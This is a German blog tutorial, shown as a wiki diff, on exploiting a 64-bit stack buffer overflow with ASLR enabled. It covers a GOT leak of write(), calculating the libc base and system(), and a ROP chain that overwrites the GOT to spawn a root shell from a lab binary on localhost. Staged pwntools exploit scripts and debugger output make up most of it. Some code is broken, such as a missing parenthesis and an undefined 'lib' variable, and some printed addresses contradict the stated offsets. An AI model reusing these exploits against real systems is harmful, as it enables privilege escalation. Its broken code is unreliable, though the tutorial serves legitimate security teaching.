it-security:blog:buffer_overflow_x64-3

Unterschiede

Hier werden die Unterschiede zwischen zwei Versionen angezeigt.

Link zu dieser Vergleichsansicht

Nächste Überarbeitung
Vorhergehende Überarbeitung
it-security:blog:buffer_overflow_x64-3 [2024/04/08 14:59] – angelegt psycoreit-security:blog:buffer_overflow_x64-3 [2024/05/11 23:33] (aktuell) psycore
Zeile 1: Zeile 1:
-{{tag>}}+{{tag>deutsch Linux kali it-security blog pentest}}
 ====== Buffer Overflow im 64-Bit Stack - Teil 3 ====== ====== Buffer Overflow im 64-Bit Stack - Teil 3 ======
  
 +{{:it-security:blog:bof-part3-header.jpg?250|}}
 +
 +In [[it-security:blog:buffer_overflow_x64-2|Teil 2]] haben wir den String ''/bin/zsh'' an die Funktion ''System()'' gesendet, um eine root Shell zu öffen. Hierzu mussten wir aber ASLR deaktivieren- ASLR verändert Funktionsadressen bei jedem Programmneustart. Superkojiman beschreibt in seinem Blog((https://blog.techorganic.com/2016/03/18/64-bit-linux-stack-smashing-tutorial-part-3/)) ausführlich, wie man diesen Schutz dennoch umgehen kann. Hierzu müssen wir uns aber erstmal ein paar Dinge veranschaulichen
 +\\
 +\\
 +===== Einleitung =====
 +
 +==== Theorie ====
 +
 +{{:it-security:blog:bof-part3-header.jpg?500 |}}
 +
 +In Linux Systemen verwendet man üblicherweise dynamische Programmbibliotheken. Dies hat den Vorteil, dass wir nicht jede Funktion in jedem Programm neuschreiben müssen, sondern einfach auf die Funktion des Systems zugreifen können, welche z.B. in ''libc'' liegt. Ist ASLR nun aktiviert, werden die Adressen bei jedem Programmstart verändert.
 +
 +=== PLT und GOT ===
 +
 +PLT (Procedure Linkage Table) und GOT (Global Offset Table) übernehmen hierbei das Zusammenspiel beim dynamischen Linking. Die Funktion ''write()'' zeigt beim Aufruf nicht auf die eigentliche Funktion, sondern auf ''write@plt''. Von der PLT wird dann der GOT Eintrag für die Funktion angefordert.
 +
 +In der GOT liegen nun alle ''libc'' Adressen und PLT leitet die Ausführung an diese um. Ist die Adresse noch nicht vorhanden, sucht ''ld.so'' nach dieser und speichert sie in der GOT. Dieses Prinzip können wir uns nun zu Nutze machen.((https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got))
 +
 +=== Leak and Overwrite ===
 +
 +Um an unsere root Shell zu kommen, müssen wir nun folgendes machen:
 +
 +  - Wir leaken den GOT Eintrag für die Funktion ''write()''
 +  - Wir brauchen die Basis-Adresse für ''libc'', um die Adressen anderer Funktionen berechnen zu können. Die ''libc''-Basis-Adresse ist die Differenz zwischen der Adresse von ''memset()'' und dem ''write()''-Offset aus ''libc.so.6''
 +  - Die Adresse einer Library-Funktion erhalten wir, indem wir den jeweiligen ''libc.so.6''Offset mit der ''libc''-Basis-Adresse addieren
 +  - In der GOT überschreiben wir eine Adresse mit der von ''system()'', so dass wir beim Aufruf der Funktion einen Systembefehl absetzen können
 +
 +<code gdb>
 +[-------------------------------------code-------------------------------------]
 +   0x4011de <vuln+109>: lea    rax,[rbp-0xa0]
 +   0x4011e5 <vuln+116>: mov    rsi,rax
 +   0x4011e8 <vuln+119>: mov    edi,0x1
 +=> 0x4011ed <vuln+124>: call   0x401030 <write@plt>
 +   0x4011f2 <vuln+129>: mov    eax,0x0
 +   0x4011f7 <vuln+134>: leave
 +</code>
 +\\
 +\\
 +===== Abhängigkeiten =====
 +
 +  * socat mod [[gh>andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat]]
 +  * pwntools ((https://docs.pwntools.com/en/stable/install.html))
 +
 +<code bash>
 +python3 -m pip install --upgrade pip
 +python3 -m pip install --upgrade pwntools
 +</code>
 +\\
 +\\
 +==== C Programm ====
 +
 +Der Quellcode und die kompilierte Binary sind auch auf [[gh>psycore8/nosoc-bof/tree/main/part-3|Github]] verfügbar.
 +
 +<file c bof-part3.c>
 +/* Code https://blog.techorganic.com/2016/03/18/64-bit-linux-stack-smashing-tutorial-part-3/ */
 +/* Compile: gcc -fno-stack-protector -no-pie bof-part3.c -o bof-part3          */
 +/* Enable ASLR: echo 2 > /proc/sys/kernel/randomize_va_space */
 +
 +#include <stdio.h>
 +#include <string.h>
 +#include <unistd.h>
 +
 +void helper() {
 +    asm("pop %rdi; pop %rsi; pop %rdx; ret");
 +}
 +
 +int vuln() {
 +    char buf[150];
 +    ssize_t b;
 +    memset(buf, 0, 150);
 +    printf("Enter input: ");
 +    b = read(0, buf, 400);
 +
 +    printf("Recv: ");
 +    write(1, buf, b);
 +    return 0;
 +}
 +
 +int main(int argc, char *argv[]){
 +    setbuf(stdout, 0);
 +    vuln();
 +    return 0;
 +}
 +</file>
 +\\
 +\\
 +
 +===== Debug =====
 +
 +{{page>vorlagen:attention}}
 +
 +==== socat Listener starten ====
 +
 +Das mitgelieferte socat besitzt Mechanismen zum Schutz des Speichers. Im Abschnitt Abhängigkeiten gibt es eine modifizierte Version auf Github.
 +
 +<code bash>
 +/dir/to/socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./bof-part3
 +</code>
 +\\
 +\\
 +==== GOT Adresse von write ====
 +
 +Wir prüfen, wo der Pfad zur ''libc'' ist:
 +
 +<code bash>
 +ldd bof-part3
 +        linux-vdso.so.1 (0x00007ffe5d956000)
 +        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f53c7dd7000)
 +        /lib64/ld-linux-x86-64.so.2 (0x00007f53c7fd2000)
 +</code>
 +
 +Anschließend finden wir das Offset für ''write()'' heraus:
 +
 +<code bash>
 +readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep write 
 +  2839: 00000000000f7af0   157 FUNC    WEAK   DEFAULT   16 write@@GLIBC_2.2.5
 +</code>
 +\\
 +\\
 +==== Breakpoint für write ====
 +
 +Wir müssen nun heraus finden, an welcher Stelle ''write()'' aufgerufen wird.
 +
 +<code gdb>
 +   0x4011e8 <vuln+119>: mov    edi,0x1
 +=> 0x4011ed <vuln+124>: call   0x401030 <write@plt>
 +   0x4011f2 <vuln+129>: mov    eax,0x0
 +</code>
 +
 +Der Aufruf geschieht bei ''0x4011ed'' und wir setzen hier unseren Haltepunkt.
 +
 +<code bash>
 +echo "br *0x4011ed" >> ~/.gdbinit
 +</code>
 +\\
 +\\
 +==== gdb an socat anhängen ====
 +
 +<code bash>
 +gdb -q -p `pidof socat`
 +Breakpoint 1 at 0x4011ed
 +Attaching to process 111187
 +</code>
 +\\
 +\\
 +==== Verbindung mit Port 2323 ====
 +
 +Wir verbinden uns mit nc und triggern den Haltepunkt.
 +
 +<code bash>
 +nc localhost 2323
 +Enter input: 123
 +Recv: 123
 +</code>
 +\\
 +\\
 +
 +==== Suche nach write GOT ====
 +
 +Ist unser Haltepunkt erreicht, suchen wir nach der ''write'' GOT Adresse
 +
 +<code gdb>
 +gdb-peda$ x/gx 0x404000
 +0x404000 <write@got.plt>:       0x0000000000401036
 +gdb-peda$ x/5i 0x0000000000401036
 +   0x401036 <write@plt+6>:      push   0x0
 +   0x40103b <write@plt+11>:     jmp    0x401020
 +   0x401040 <setbuf@plt>:       jmp    QWORD PTR [rip+0x2fc2]        # 0x404008 <setbuf@got.plt>
 +   0x401046 <setbuf@plt+6>:     push   0x1
 +   0x40104b <setbuf@plt+11>:    jmp    0x401020
 +</code>
 +
 +Wir gehen einen Schritt weiter, ohne in die Funktion reinzuspringen. Anschließend suchen wir erneut.
 +
 +<code gdb>
 +next
 +gdb-peda$ x/gx 0x404000
 +0x404000 <write@got.plt>:       0x00007f559dd76af0
 +gdb-peda$ x/5i 0x00007f559dd76af0
 +   0x7f559dd76af0 <__GI___libc_write>:  cmp    BYTE PTR [rip+0xe3ae1],0x0        # 0x7f559de5a5d8 <__libc_single_threaded>
 +   0x7f559dd76af7 <__GI___libc_write+7>:        je     0x7f559dd76b10 <__GI___libc_write+32>
 +   0x7f559dd76af9 <__GI___libc_write+9>:        mov    eax,0x1
 +   0x7f559dd76afe <__GI___libc_write+14>:       syscall
 +   0x7f559dd76b00 <__GI___libc_write+16>:       cmp    rax,0xfffffffffffff000
 +</code>
 +
 +An diesem Punkt zeigt die Adresse auf ''write()''
 +\\
 +\\
 +===== Exploit =====
 +
 +==== Stage 1: write Adresse ====
 +
 +Also schreiben wir uns ein erstes Exploit, um ''write()'' zu leaken.
 +
 +<file python buf3-stage1.py>
 +#!/usr/bin/env python
 +
 +from pwn import *
 +
 +pop3ret    = 0x40116a                # Unser pop rdi; pop rsi; pop rdx; ret; gadget
 +bin=ELF("./bof-part3")
 +
 +s=remote("127.0.0.1",2323)
 +s.recvuntil(b": ")
 +
 +buf = b"A"*168                        # RIP Offset
 +buf += p64(pop3ret)                   # POP Argumente
 +buf += p64(constants.STDOUT_FILENO)   # stdout
 +buf += p64(bin.got[b'write'])         # lese von write@got
 +buf += p64(0x8)                       # schreibe 8 bytes in stdout
 +buf += p64(bin.plt[b'write'])         # Rückkehr nach write@plt
 +buf += b'EOPAY'                       # Ende des Payloads
 +
 +
 +print("[+] send payload")
 +s.send(buf)                           # buf überschreibt RIP
 +s.recvuntil(b'EOPAY'                # Empfange Daten bis EOPAY
 +print("[+] recvd \'EOPAY\'")
 +
 +got_leak=u64(s.recv(8))
 +print("[+] leaked write address: {}".format(hex(got_leak)))
 +</file>
 +
 +Wir führen das Ganze aus und erhalten folgende Ausgabe
 +
 +<code bash>
 +[+] Opening connection to 127.0.0.1 on port 2323: Done
 +[+] send payload
 +[+] recvd 'EOPAY'
 +[+] leaked write address: 0x7f6805548e80
 +[*] Closed connection to 127.0.0.1 port 2323
 +</code>
 +
 +Damit wäre die erste Adresse geleakt.
 +
 +==== Stage 2 - libc Base und system ====
 +
 +Nun benötigen wir die libc-Basis Adresse und die von ''system()''. Diese berechnen wir so:
 +
 +  * $base(libc) = got(write) - offset(write)$
 +  * $address(system) = base(libc) + offset(system)$
 +
 +Die Offset Adresse erhalten wir so:
 +
 +<code bash>                                                                                                                                                 
 +┌──(kali㉿kali)-[~/repo]
 +└─$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
 +  1022: 000000000004c920    45 FUNC    WEAK   DEFAULT   16 system@@GLIBC_2.2.5
 +</code>
 +
 +Wir überarbeiten also unser Exploit:
 +
 +<file python buf3-stage2.py>
 +#!/usr/bin/env python
 +from pwn import *
 +
 +pop3ret    = 0x40116a                # Unser pop rdi; pop rsi; pop rdx; ret; gadget gadget
 +write_off  = 0x0f7af0
 +system_off = 0x04c920
 +bin=ELF("./bof-part3")
 +
 +s=remote("127.0.0.1",2323)
 +s.recvuntil(b": ")
 +
 +buf = b"A"*168                        # RIP offset
 +buf += p64(pop3ret)                   # POP Argumente
 +buf += p64(constants.STDOUT_FILENO)   # stdout
 +buf += p64(bin.got[b'write'])         # lese von write@got
 +buf += p64(0x8)                       # schreibe 8 bytes in stdout
 +buf += p64(bin.plt[b'write'])         # Rückkehr nach write@plt
 +buf += b'EOPAY'                       # Ende des Payloads
 +
 +print("[+] send payload")
 +s.send(buf)           
 +s.recvuntil(b'EOPAY')
 +print("[+] recvd \'EOPAY\'")
 +
 +got_leak=u64(s.recv(8))
 +print("[+] leaked write address: {}".format(hex(got_leak)))
 +
 +libc_base = got_leak - write_off     # Berechne libc Basis
 +print("[+] libc base is at", hex(libc_base) )
 +
 +system_addr = libc_base + system_off # Berechne system Adresse
 +
 +print("[+] system() is at", hex(system_addr) )
 +</file>
 +
 +Und nun schauen wir uns die Ausgabe an:
 +
 +<code bash>
 +[+] Opening connection to 127.0.0.1 on port 2323: Done
 +[+] send payload
 +[+] recvd 'EOPAY'
 +[+] leaked write address: 0x7f73dc1c7e80
 +[+] libc base is at 0x7f73dc12c340
 +[+] system() is at 0x7f73dc178c60
 +[*] Closed connection to 127.0.0.1 port 2323
 +</code>
 +\\
 +\\
 +
 +==== Stage 3 - Adresse überschreiben und Code ausführen ====
 +
 +Für den letzten Abschnitt benötigen wir einen beschreibbaren Speicherbereich. Hierzu listen wir uns die Speicherzuweisungen in gdb auf.
 +
 +<code gdb>
 +gdb-peda$ info proc mappings
 +process 105836
 +Mapped address spaces:
 +
 +          Start Addr           End Addr       Size     Offset  Perms  objfile
 +            0x400000           0x401000     0x1000        0x0  r--p   /home/kali/repo/bof-part3
 +            0x401000           0x402000     0x1000     0x1000  r-xp   /home/kali/repo/bof-part3
 +            0x402000           0x403000     0x1000     0x2000  r--p   /home/kali/repo/bof-part3
 +            0x403000           0x404000     0x1000     0x2000  r--p   /home/kali/repo/bof-part3
 +            0x404000           0x405000     0x1000     0x3000  rw-p   /home/kali/repo/bof-part3
 +      0x7f0f6fb35000     0x7f0f6fb38000     0x3000        0x0  rw-p 
 +</code>
 +
 +Der Bereich 0x404000 - 0x405000 ist beschreibbar und statisch. Das sehen wir uns genauer an.
 +
 +<code gdb>
 +gdb-peda$ x/30i 0x404000
 +...
 +   0x404027 <read@got.plt+7>:   add    BYTE PTR [rax],al
 +   0x404029:    add    BYTE PTR [rax],al
 +   0x40402b:    add    BYTE PTR [rax],al
 +...
 +</code>
 +
 +0x404029 sollte für unseren Zweck perfekt sein.
 +
 +<file python buf3-stage3.py>
 +#!/usr/bin/env python
 +
 +from pwn import *
 +
 +pop3ret    = 0x40116a                 # Unser pop rdi; pop rsi; pop rdx; ret; gadget
 +write_off  = 0x0f7af0
 +system_off = 0x04c920
 +writable   = 0x404029
 +bin=ELF("./bof-part3")
 +
 +s=remote("127.0.0.1",2323)
 +s.recvuntil(b": ")
 +
 +buf = b"A"*168                        # padding to RIP's offset
 +buf += p64(pop3ret)                   # POP Argumente
 +buf += p64(constants.STDOUT_FILENO)   # stdout
 +buf += p64(bin.got[b'write'])         # lese von write@got
 +buf += p64(0x8)                       # schreibe 8 bytes in stdout
 +buf += p64(bin.plt[b'write'])         # Rückkehr nach write@plt
 +
 +# Teil 2: schreibe system Adresse in write got mittels read
 +buf+=p64(pop3ret)
 +buf+=p64(constants.STDIN_FILENO)
 +buf+=p64(bin.got[b'write'])          #write@got
 +buf+=p64(0x8)
 +buf+=p64(bin.plt[b'read'])           #read@plt
 +
 +# Teil 3: schreibe /bin/sh in beschreibbare Adresse
 +buf+=p64(pop3ret)
 +buf+=p64(constants.STDIN_FILENO)
 +buf+=p64(writable)
 +buf+=p64(0x8)
 +buf+=p64(bin.plt[b'read'])
 +
 +# Teil 4: rufe system auf
 +buf+=p64(pop3ret)
 +buf+=p64(writable)
 +buf+=p64(0xdeadbeef)
 +buf+=p64(0xcafebabe)
 +buf+=p64(bin.plt[b'write'])
 +
 +buf += b'EOPAY'
 +
 +
 +print("[+] send payload")
 +s.send(buf)                           # buf überschreibt RIP
 +s.recvuntil(b'EOPAY')
 +print("[+] recvd \'EOPAY\'")
 +
 +got_leak=u64(s.recv(8))
 +print("[+] leaked write address: {}".format(hex(got_leak)))
 +
 +#s2
 +
 +libc_base=got_leak-write_off
 +print(hex(lib.symbols[b'write']))
 +print("[+] libc base is at {}".format(hex(libc_base)))
 +
 +system_addr=libc_base+system_off
 +print(hex(lib.symbols[b'system']))
 +print("[+] system() is at {}".format(hex(system_addr)))
 +
 +#part 2
 +print("[+] sending system() address")
 +s.send(p64(system_addr))
 +#part 3
 +print("[+] sending /bin/zsh")
 +s.send(b'/bin/zsh')
 +#part 4
 +print("[+] trying shell")
 +s.interactive()
 +</file>
 +\\
 +\\
 +==== Optimierungen ====
 +
 +Das Exploit mit weiteren pwntools Optimierungen und automatisiertem socat Start ist im [[gh>psycore8/nosoc-bof/tree/main/part-3|Github Repository]] zu finden. Das Exploit wurde ursprünglich von [[https://stackoverflow.com/users/8786498/zapho-oxx|Zopho Oxx]] geschrieben  ((https://stackoverflow.com/a/48571747))
 +\\
 +\\
 +
 +==== root Shell ====
 +
 +Wir starten socat und bof-part3 als root
 +
 +<code bash>
 +su root
 +
 +┌──(root㉿kali)-[/home/kali/repo]
 +└─# /home/kali/repo/socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./bof-part3
 +</code>
 +
 +und anschließend das Exploit als unpriviligierter Nutzer
 +
 +<code bash>
 +┌──(kali㉿kali)-[~/repo]
 +└─$ python3 buffer3.py
 +</code>
 +
 +Wir erhalten unsere Root Shell und haben die Kontrolle über das System.
 +
 +{{:it-security:blog:bof-dism3-1.png?500|}}
 +\\
 +\\
 +===== Repository =====
 +
 +^ Projektdateien | {{ :it-security:nosoc-repo-bof-part3.zip |}} <label type="info" icon="glyphicon glyphicon-compressed">ZIP</label> |
 +^ Größe | 9,93 KB |
 +^ Prüfsumme (SHA256) | d1212026504c7a90680e3f1e430244734695971c73f1461bed12605644c707d8 |
 +
 +~~DISCUSSION~~
  • it-security/blog/buffer_overflow_x64-3.1712581145.txt.gz
  • Zuletzt geändert: 2024/04/08 14:59
  • von psycore